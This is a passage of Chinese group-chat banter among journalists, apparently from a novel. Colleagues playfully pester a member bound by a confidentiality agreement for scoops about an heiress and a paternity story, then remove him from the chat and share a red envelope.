滔滔不绝:杂志里面报到的时间线和姜文清昨天公布的时间线,大差不差,还是很厉害的。 信史:是个闷声干大事的人。 流量为王:前途无量 @明天开始度假 AB漫游:十多年时间也不容易,这十几年是吃土过来的吧 @明天开始度假 明天开始度假:@AB漫游 握手.JPG 时间规划师:想个办法让这位兄弟开个口,什么有效信息都没有。 流量为王:一脸真诚.JPG 流量为王:坐下聊聊呗.JPG 流量为王:试图诱惑.JPG 流量为王:拿钱砸死你.JPG 流量为王:大刑伺候.JPG 平行宇宙:@明天开始度假 我们问,你只需要回答“是”或者“否”。 声纹小师妹:好主意! 流量为王:快,快,快。 新闻猎手:是不是签了“保密协议”? …… 信史:这也不能说吗? 明天开始度假:是。 信史:爆炸.GIF 新闻猎手:昨天是哪个神仙问私生女的事情?我觉得这个问题才是爆点。 流量为王:@明天开始度假 私生女的事情,是否调查过? …… 声纹小师妹:杂志里面没有说,但是我觉得调查过,要不然这种骨科的狗血剧情太炸裂了。 黑洞洞:@明天开始度假 调查过亲子鉴定的事情?抱拳.JPG …… 三体广播站:信息传输距离太远…… 平行宇宙:算了,别为难他。 声纹小师妹:我很羡慕明天能去现场的前辈们,能拍到女主角。 幻影忍者:那个女生很好拍,并不神秘啊,疑问.JPG 追踪者:@幻影忍者拍到过? 幻影忍者:很多逛街的照片,就是个素人 追踪者:人家现在的身价,配叫“素人”吗? 幻影忍者:原是我不配 搬砖去哈.JPG 光影捕手:@明天开始度假 去调查下女主角的身世,再来个爆款。 流量为王:他收到了,又改名字了。 信史:@明天开始闭关 真的明天开始闭关吗? 明天开始闭关:明日复明日,明日何其多。我生待明日,说了也白说。 流量为王:闭关吧,都开始闭关吧,快要截稿了。 平行宇宙:@字字珠玑 老大,飞机票一张。 字字珠玑:什么意思? 声纹小师妹:移他出群聊。 字字珠玑:收到 声临其境:散了吧…… 字字珠玑:已经请出群了。大家工作态度这么好,我发红包了。 字字珠玑:拼手气红包.JPG 流量为王:老大,你学坏了 声临其境:戳.GIF 声纹小师妹:哈哈哈哈哈哈哈哈哈哈 流量为王:妹妹,你笑起来真好看!